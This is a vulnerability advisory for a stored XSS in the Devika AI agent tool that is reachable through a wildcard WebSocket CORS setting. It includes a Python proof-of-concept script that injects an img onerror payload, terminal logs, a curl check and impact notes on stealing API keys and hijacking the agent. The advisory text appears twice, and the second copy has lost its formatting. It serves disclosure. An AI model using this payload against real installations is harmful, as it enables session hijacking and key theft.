Advisory Details
Title: Critical Stored XSS via WebSocket CORS Bypass in Devika allows Complete Session Takeover
Description:
Summary
A critical Stored Cross-Site Scripting (XSS) vulnerability exists in Devika because the backend WebSocket server allows unrestricted cross-origin connections (cors_allowed_origins="*") and stores incoming user-message payloads directly into the database without any server-side sanitization. The frontend chat interface subsequently renders these raw messages using unsafe HTML binding (bind:innerHTML). This full-chain exploit allows unauthenticated external attackers to perform a "Zero-Click" XSS attack against any Devika user simply by convincing the user to visit a malicious website, leading to complete local session hijacking and interaction with the AI agent ecosystem on the victim's behalf.
Details
Devika attempted to patch a previous Stored XSS vulnerability (CVE-2024-5711) by introducing DOMPurify on the client-side (ui/src/lib/components/MessageInput.svelte). However, this completely neglected the protocol layer.
- WebSocket Origin Bypass: In
src/socket_instance.py, flask_socketio is initialized with cors_allowed_origins="*". This disables the browser's Same-Origin Policy for WebSocket handshakes.
- Unsanitized Data Ingestion: The
user-message WebSocket event handler in devika.py receives the raw JSON and passes it directly to ProjectManager.add_message_from_user() in src/project.py. The message string is written into the SQLite database (project_state.message_stack_json) with zero HTML encoding or sanitation.
- Unsafe Frontend Execution Sink: When the victim views their project, the
MessageContainer.svelte component executes bind:innerHTML={message.message}. This Svelte directive is equivalent to v-html or element.innerHTML, directly executing any JavaScript passed from the database.
Because the WebSocket allows * origins, an attacker can embed a malicious JavaScript payload on any website. When the victim (whose local Devika is running on 127.0.0.1:1337) visits this attacker-controlled site, the site's JS transparently opens a WebSocket to the local Devika instance and injects the XSS payload into a project. When the victim returns to the Devika UI, the payload triggers. This weaponizes the Stored XSS into an unauthenticated, remote, cross-origin attack.
PoC
Prerequisites:
- The victim has Devika running locally (default ports 1337 and 3000).
Exploitation Steps:
- Save the following minimal pure-Python exploit as
exploit.py. This simulates the external cross-origin web request injecting the database payload.
import socketio
import time
TARGET_URL = "http://127.0.0.1:1337"
PROJECT = "xss-poc-test"
PAYLOAD = '<img src=x onerror="alert(\'Critical Stored XSS via WebSocket Bypass\')">'
sio = socketio.Client()
@sio.event
def connect():
print(f"[+] Connected to Devika: {TARGET_URL}")
print(f"[*] Injecting payload into project '{PROJECT}'...")
sio.emit('user-message', {
'message': PAYLOAD,
'base_model': 'GPT-4o',
'project_name': PROJECT,
'search_engine': 'duckduckgo'
})
time.sleep(2)
print("[+] Payload successfully stored in Devika DB.")
sio.disconnect()
if __name__ == "__main__":
sio.connect(TARGET_URL)
- Run the exploit:
python3 exploit.py
- Open the victim's Devika UI at
http://127.0.0.1:3000.
- Click on the project named
xss-poc-test.
- Observe the XSS execution via the Alert popup because the injected
<img> block executed its onerror Javascript handler.
Log of Evidence
Terminal Output confirming the injection:
$ python3 exploit.py
[+] Connected to Devika: http://127.0.0.1:1337
[*] Injecting payload into project 'xss-poc-test'...
[+] Payload successfully stored in Devika DB.
Checking the API manually to prove the database stored the raw unsanitized payload:
$ curl -s -X POST http://127.0.0.1:1337/api/messages -H "Content-Type: application/json" -d '{"project_name": "xss-poc-test"}'
{
"messages": [
{
"from_devika": false,
"message": "<img src=x onerror=\"alert('Critical Stored XSS via WebSocket Bypass')\">",
"timestamp": "2024-03-07 10:15:30"
}
]
}
Impact
This vulnerability completely compromises the Devika client interface. Given the nature of Devika as an Agentic AI tool with file system access, an attacker who executes JS in the Devika DOM can map the local filesystem, steal sensitive API keys (OpenAI, Claude, etc.) stored in the Devika settings, weaponize the AI agents to write backdoors into the developer's local repositories, and fully hijack the victim's session.
Because of the WebSocket CORS wildcard misconfiguration (CVE-2024-5820), this bypasses local network protections heavily. It turns a local app vulnerability into a remotely exploitable vector via malicious external websites.
Affected products
- Ecosystem: python / node
- Package name: stitionai/devika
- Affected versions: All versions (<= commit
7b68a836f8d0b1e5d4a3bdfa56ca736be93841a4)
- Patched versions:
Severity
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N (8.2)
Weaknesses
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- CWE-346: Origin Validation Error (WebSocket CORS)
Occurrences
Advisory Details
Title: Critical Stored XSS via WebSocket CORS Bypass in Devika allows Complete Session Takeover
Description:
Summary
A critical Stored Cross-Site Scripting (XSS) vulnerability exists in Devika because the backend WebSocket server allows unrestricted cross-origin connections (
cors_allowed_origins="*") and stores incominguser-messagepayloads directly into the database without any server-side sanitization. The frontend chat interface subsequently renders these raw messages using unsafe HTML binding (bind:innerHTML). This full-chain exploit allows unauthenticated external attackers to perform a "Zero-Click" XSS attack against any Devika user simply by convincing the user to visit a malicious website, leading to complete local session hijacking and interaction with the AI agent ecosystem on the victim's behalf.Details
Devika attempted to patch a previous Stored XSS vulnerability (CVE-2024-5711) by introducing
DOMPurifyon the client-side (ui/src/lib/components/MessageInput.svelte). However, this completely neglected the protocol layer.src/socket_instance.py,flask_socketiois initialized withcors_allowed_origins="*". This disables the browser's Same-Origin Policy for WebSocket handshakes.user-messageWebSocket event handler indevika.pyreceives the raw JSON and passes it directly toProjectManager.add_message_from_user()insrc/project.py. Themessagestring is written into the SQLite database (project_state.message_stack_json) with zero HTML encoding or sanitation.MessageContainer.sveltecomponent executesbind:innerHTML={message.message}. This Svelte directive is equivalent tov-htmlorelement.innerHTML, directly executing any JavaScript passed from the database.Because the WebSocket allows
*origins, an attacker can embed a malicious JavaScript payload on any website. When the victim (whose local Devika is running on127.0.0.1:1337) visits this attacker-controlled site, the site's JS transparently opens a WebSocket to the local Devika instance and injects the XSS payload into a project. When the victim returns to the Devika UI, the payload triggers. This weaponizes the Stored XSS into an unauthenticated, remote, cross-origin attack.PoC
Prerequisites:
Exploitation Steps:
exploit.py. This simulates the external cross-origin web request injecting the database payload.python3 exploit.pyhttp://127.0.0.1:3000.xss-poc-test.<img>block executed itsonerrorJavascript handler.Log of Evidence
Terminal Output confirming the injection:
Checking the API manually to prove the database stored the raw unsanitized payload:
{ "messages": [ { "from_devika": false, "message": "<img src=x onerror=\"alert('Critical Stored XSS via WebSocket Bypass')\">", "timestamp": "2024-03-07 10:15:30" } ] }Impact
This vulnerability completely compromises the Devika client interface. Given the nature of Devika as an Agentic AI tool with file system access, an attacker who executes JS in the Devika DOM can map the local filesystem, steal sensitive API keys (OpenAI, Claude, etc.) stored in the Devika settings, weaponize the AI agents to write backdoors into the developer's local repositories, and fully hijack the victim's session.
Because of the WebSocket CORS wildcard misconfiguration (CVE-2024-5820), this bypasses local network protections heavily. It turns a local app vulnerability into a remotely exploitable vector via malicious external websites.
Affected products
7b68a836f8d0b1e5d4a3bdfa56ca736be93841a4)Severity
Weaknesses
Occurrences
socketio = SocketIO(cors_allowed_origins="*", async_mode="gevent")- Allows arbitrary Cross-Origin sites to connect to the WebSocket.@socketio.on('user-message')handler extracts the raw JSON payload and passes it into the backend without sanitization.add_message_from_user()assigns the unescaped payload vianew_message["message"] = messageand routes it to the SQLiteadd_message_to_projectdatabase routine.bind:innerHTML={message.message}block immediately executes any Javascript inside the un-purified text stream returning from the SQLite backend.